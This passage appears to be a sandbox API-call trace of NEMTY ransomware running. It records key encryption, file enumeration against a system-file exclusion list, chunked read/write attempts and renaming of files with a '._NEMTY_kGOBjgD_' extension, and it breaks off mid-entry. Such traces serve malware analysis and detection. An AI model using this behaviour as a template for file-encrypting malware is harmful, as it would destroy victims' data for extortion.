[0054.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground.wmv", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0054.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0054.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground.wmv", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyScenesBackground.wmv", lpUsedDefaultChar=0x0) returned 27 [0054.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94358 [0054.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0054.820] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0054.820] Sleep (dwMilliseconds=0x5) [0054.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd45445d0, dwHighDateTime=0x1d561e7)) [0054.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd45445d0, dwHighDateTime=0x1d561e7)) [0054.832] GetLastError () returned 0x5 [0054.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.832] GetLastError () returned 0x5 [0054.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0054.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0054.832] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0054.832] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0054.832] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0054.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0054.832] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="r9cYeYJARn14QZEOroFTwFrfY35nEmfndJ6uFaSpm4o5eU0XlgBp4gXrrmx9FTK6\r\nIIKmAQpbQX9n7un1PUs2HR5u6XHeiRuF0I2ZHhgs7fq0S7DL2QKMD545ZrzmY4Hm\r\nR678rWdI4CGZ3EGJpOlSChpb4cZcoRCJcJ/zH12icXA/ALfcyUQ/cNFCDSa7N22o\r\nHKDoC1I3yRRo0gSPJB10wDJij9SGA2QAA4ppRfM0lG/AMYyjtIawV/i5kwnPcKnt\r\n6QViVYk8uF+xHbL6y77LdMYubuyYXrvxP+NqP1slLoLK+xFzTveE4HRvlrYOk4Bd\r\nyxtWuiCThCUJiM7WFgxOjA==\r\n", pcchString=0x653e91c) returned 1 [0054.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340260 [0054.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0054.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0054.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0054.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0054.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63403d8 [0054.833] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0054.833] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0054.833] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0054.833] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.833] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.902] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.902] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.903] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.912] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.912] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.912] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.921] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.921] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.921] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.931] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0054.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.942] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0054.942] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0054.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0054.942] CloseHandle (hObject=0xffffffff) returned 0 [0054.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0054.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0054.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0054.943] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0054.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0054.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6344090 [0054.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6344148 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0054.943] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv._nemty_kgobjgd_")) returned 0 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344148 | out: hHeap=0x4f90000) returned 1 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d8 | out: hHeap=0x4f90000) returned 1 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0054.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.943] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f8086a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f8086a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1e96c, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="BabyBoyScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2=".") returned 1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="..") returned 1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="...") returned 1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="windows") returned -1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="$RECYCLE.BIN") returned 1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="rsa") returned -1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="NTDETECT.COM") returned -1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="ntldr") returned -1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="MSDOS.SYS") returned -1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="IO.SYS") returned -1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0054.943] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="boot.ini") returned -1 [0054.944] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="AUTOEXEC.BAT") returned 1 [0054.944] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="ntuser.dat") returned -1 [0054.944] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="desktop.ini") returned -1 [0054.944] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="CONFIG.SYS") returned -1 [0054.944] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="RECYCLER") returned -1 [0054.944] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="BOOTSECT.BAK") returned -1 [0054.944] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="bootmgr") returned -1 [0054.944] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="programdata") returned -1 [0054.944] lstrcmpiW (lpString1="BabyBoyScenesBackground_PAL.wmv", lpString2="appdata") returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground_PAL.wmv", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0054.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground_PAL.wmv", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 31 [0054.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0054.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground_PAL.wmv", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0054.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground_PAL.wmv", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 31 [0054.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0054.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0054.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground_PAL.wmv", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0054.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0054.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground_PAL.wmv", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 31 [0054.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground_PAL.wmv", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0054.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0054.944] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BabyBoyScenesBackground_PAL.wmv", cchWideChar=31, lpMultiByteStr=0x4f9ed58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BabyBoyScenesBackground_PAL.wmv", lpUsedDefaultChar=0x0) returned 31 [0054.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0054.944] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0054.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94358 [0054.944] Sleep (dwMilliseconds=0x5) [0054.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd46750d0, dwHighDateTime=0x1d561e7)) [0054.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xd46750d0, dwHighDateTime=0x1d561e7)) [0054.957] GetLastError () returned 0x5 [0054.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0054.957] GetLastError () returned 0x5 [0054.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 